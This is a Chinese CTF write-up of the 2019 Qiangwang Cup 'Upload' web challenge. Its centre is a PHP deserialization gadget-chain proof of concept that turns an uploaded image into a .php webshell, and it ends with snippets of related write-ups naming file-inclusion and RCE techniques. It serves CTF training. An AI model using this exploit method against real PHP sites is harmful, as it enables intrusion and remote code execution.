刷题记录:[强网杯 2019]Upload

目录

  • 刷题记录:[强网杯 2019]Upload

    • 一、知识点

      • 1、源码泄露
      • 2、php反序列化

刷题记录:[强网杯 2019]Upload

题目复现链接:https://buuoj.cn/challenges
参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境

一、知识点

1、源码泄露

www.tar.gz

2、php反序列化

看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方。之后常规的反序列化利用,不是很难。

唯一要注意的是序列化会把命名空间序列化进去,所以poc在这个地方必须要加namespace app\web\controller;

<?php

namespace app\web\controller;
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {

    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __construct()
    {
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
}

$b = new Profile();
$b->except = array('index'=>'img');
$b->img = "upload_img";
$b->ext = true;
$b->filename = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.php";
$b->filename_tmp = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.png";

$a = new Register();
$a->registed = false;
$a->checker = $b;
echo urlencode(base64_encode(serialize($a)));

原文地址:https://www.cnblogs.com/20175211lyz/p/11746254.html

时间: 2024-07-30 05:04:52

刷题记录:[强网杯 2019]Upload的相关文章

刷题记录:[SUCTF 2019]EasySQL (欠)

目录 刷题记录:[SUCTF 2019]EasySQL 刷题记录:[SUCTF 2019]EasySQL 原文地址:https://www.cnblogs.com/20175211lyz/p/11450409.html

刷题记录:[SUCTF 2019]Pythonginx

目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录:[SUCTF 2019]Pythonginx 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 SUCTF wp SUCTF_2019_部分复现 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 https://bugs

刷题记录:[De1CTF 2019]Giftbox &amp;&amp; Comment

目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 刷题记录:[De1CTF 2019]Giftbox && Comment 题目复现链接:https://buuoj.cn/challenges 参考链接:De1CTF Web WriteUp BUUCTF平台 web writeup 第三弹 一.知识点 1.sql注入 && t

刷题记录:[GWCTF 2019]我有一个数据库

目录 刷题记录:[GWCTF 2019]我有一个数据库 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 刷题记录:[GWCTF 2019]我有一个数据库 题目复现链接:https://buuoj.cn/challenges 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 cve-2018-12613-PhpMyadmin后台文件包含 影响版本:4.8.0--4.8.1 payload:/phpmyadmin/?target=db

刷题记录:[RCTF 2019]Nextphp

目录 刷题记录:[RCTF 2019]Nextphp 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir php_exec 刷题记录:[RCTF 2019]Nextphp 题目复现链接:https://buuoj.cn/challenges 参考链接:RCTF 2019 Web Writeup 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir 看文档https://wiki.php.ne

刷题记录:[EIS 2019]EzPOP

目录 刷题记录:[EIS 2019]EzPOP 知识点 编码写shell绕过 base64工作机制 绕过后缀名检查 刷题记录:[EIS 2019]EzPOP 题目复现链接:https://buuoj.cn/challenges 知识点 编码写shell绕过 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_conte

刷题记录:[ByteCTF 2019]BabyBlog

目录 刷题记录:[ByteCTF 2019]BabyBlog 知识点 二次注入+堆叠注入 php 00截断 preg_replace/e参数RCE 管道解题读flag 刷题记录:[ByteCTF 2019]BabyBlog 题目复现链接:https://buuoj.cn/challenges 参考链接:https://eustiar.com/archives/576 ByteCTF 2019 Writeup - 天枢 知识点 二次注入+堆叠注入 注入点在edit的title ';[email p

[原题复现]强网杯 2019 WEB高明的黑客

简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简介 页面提示有源码可以下载,直接拼接URL www.tar.gz 下载后发现一堆php 初步考虑就是有考察根脚本编写有关 打开代码发现这些 有get.pos 还有var_dump() 每个页面都有很多看WP说这是shell 因为很多都不能用所以要编写一个能检测利用的py v1.0版本(速度太慢) i

刷题记录:[XCTF 2019 Final]LFI2019

目录 windows下PHP文件包含 无数字字母shell 题目复现链接:https://buuoj.cn/challenges 参考链接:XCTF final 2019 Writeup By ROIS windows下PHP文件包含 Windows FindFirstFile利用 使用FindFirstFile这个API的时候,其会把"解释为..意即:shell"php === shell.php. 在调试php解释器的过程中,我们将此"神奇"的漏洞归结为一个Wi